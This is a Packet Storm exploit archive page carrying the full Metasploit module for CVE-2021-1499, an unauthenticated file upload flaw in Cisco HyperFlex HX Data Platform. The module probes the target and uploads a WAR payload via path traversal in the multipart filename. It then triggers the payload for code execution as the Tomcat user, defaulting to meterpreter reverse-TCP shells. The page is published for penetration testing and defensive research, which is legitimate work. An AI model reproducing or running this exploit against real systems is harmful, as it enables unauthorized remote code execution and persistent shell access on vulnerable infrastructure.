what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cisco HyperFlex HX Data Platform File Upload / Remote Code Execution

Cisco HyperFlex HX Data Platform File Upload / Remote Code Execution
Posted Jun 17, 2021
Authored by wvu, Mikhail Klyuchnikov, jheysel-r7, Nikita Abramov | Site metasploit.com

This Metasploit module exploits an unauthenticated file upload vulnerability in Cisco HyperFlex HX Data Platform's /upload endpoint to upload and execute a payload as the Tomcat user.

tags | exploit, file upload
systems | cisco
advisories | CVE-2021-1499
SHA-256 | f5c93c1dbb7c46d018f80b02b7e8b65d92e05da4eaa8f1ef27222f385aefb954

Cisco HyperFlex HX Data Platform File Upload / Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cisco HyperFlex HX Data Platform unauthenticated file upload to RCE (CVE-2021-1499)',
'Description' => %q{
This module exploits an unauthenticated file upload vulnerability in
Cisco HyperFlex HX Data Platform's /upload endpoint to upload and
execute a payload as the Tomcat user.
},
'Author' => [
'Nikita Abramov', # Discovery
'Mikhail Klyuchnikov', # Discovery
'wvu', # Research and guidance
'jheysel-r7' # Metasploit Module
],
'References' => [
['CVE', '2021-1499'], # HyperFlex HX File Upload
['URL', 'https://attackerkb.com/assessments/82738621-1114-4aba-990a-9ea007b05834']
],
'DisclosureDate' => '2021-05-05',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_JAVA],
'Privileged' => false, # Privesc left as an exercise for the reader
'Targets' => [
[
'Java Dropper',
{
'Platform' => 'java',
'Arch' => ARCH_JAVA,
'Version' => Rex::Version.new('2.137'),
'Type' => :java_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'java/meterpreter/reverse_tcp',
'WfsDelay' => 10
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :linux_dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',
'WfsDelay' => 10
}
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('UPLOAD_FILE_NAME', [false, 'Choose a filename for the payload. (Default is random)', rand_text_alpha(rand(8..15))])
])
end

def check
# The homepage behind SSL indicates whether the endpoint is running Cisco HyperFlex
# Installer: <title>Hyperflex Installer</title>
# Installed Product: <title>Cisco HyperFlex Connect</title>
# Both the installer and installed product are vulnerable
res_ssl = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'rport' => 443,
'SSL' => true
)
unless res_ssl && res_ssl.body[%r{<title>(?:Hyperflex Installer|Cisco HyperFlex Connect)</title>}]
return Exploit::CheckCode::Safe
end

# The vulnerability, however, lies on the HTTP endpoint /upload.
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'upload')
)
if res && res.code == 400 && res.body.include?('Apache Tomcat') && res.headers['Server'] && res.headers['Server'].include?('nginx')
return Exploit::CheckCode::Appears
elsif res && res.code == 404
return CheckCode::Safe
end

CheckCode::Unknown
end

def prepare_payload(app_base, jsp_name)
print_status('Preparing payload...')
war_payload = payload.encoded_war({ app_name: app_base, jsp_name: jsp_name }).to_s
fname = app_base + '.war'
post_data = Rex::MIME::Message.new
post_data.add_part(fname, nil, nil, 'form-data; name="fname"')
post_data.add_part('/upload', nil, nil, 'form-data; name="uploadDir"')
post_data.add_part(war_payload,
'application/octet-stream', 'binary',
"form-data; name=\"#{jsp_name}\"; filename=\"../../../lib/tomcat7/webapps/#{fname}\"")
post_data
end

def upload_payload(post_data)
print_status('Uploading payload...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'upload'),
'method' => 'POST',
'data' => post_data.to_s,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}"
)
if res && res.code == 200 && res.body.to_s =~ /result.*filename:/
print_good('Payload uploaded successfully')
else
fail_with(Failure::UnexpectedReply, 'Payload upload attempt failed')
end

register_file_for_cleanup('/var/lib/tomcat7/crossdomain.xml.war')
register_file_for_cleanup('/var/lib/tomcat7/crossdomain.xml/')
end

def execute_payload(url)
print_status("Executing payload... calling: #{url}")
res = send_request_cgi(
'uri' => url,
'method' => 'GET'
)
if res && res.code == 200
print_good('Payload executed successfully')
else
fail_with(Failure::UnexpectedReply, 'Payload execution attempt failed')
end
end

def exploit
app_base = 'crossdomain.xml'
jsp_name = datastore['UPLOAD_FILE_NAME']
data = prepare_payload(app_base, jsp_name)
upload_payload(data)
sleep(datastore['WfsDelay'])
if target.name == 'Java Dropper'
url = normalize_uri(target_uri.path, app_base.to_s)
else
url = normalize_uri(target_uri.path, app_base.to_s, "#{jsp_name}.jsp")
end
execute_payload(url)
end
end
Login or Register to add favorites

File Archive:

June 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    19 Files
  • 2
    Jun 2nd
    16 Files
  • 3
    Jun 3rd
    28 Files
  • 4
    Jun 4th
    0 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    19 Files
  • 7
    Jun 7th
    23 Files
  • 8
    Jun 8th
    11 Files
  • 9
    Jun 9th
    10 Files
  • 10
    Jun 10th
    4 Files
  • 11
    Jun 11th
    0 Files
  • 12
    Jun 12th
    0 Files
  • 13
    Jun 13th
    0 Files
  • 14
    Jun 14th
    0 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    0 Files
  • 18
    Jun 18th
    0 Files
  • 19
    Jun 19th
    27 Files
  • 20
    Jun 20th
    65 Files
  • 21
    Jun 21st
    10 Files
  • 22
    Jun 22nd
    8 Files
  • 23
    Jun 23rd
    6 Files
  • 24
    Jun 24th
    6 Files
  • 25
    Jun 25th
    0 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    15 Files
  • 28
    Jun 28th
    14 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close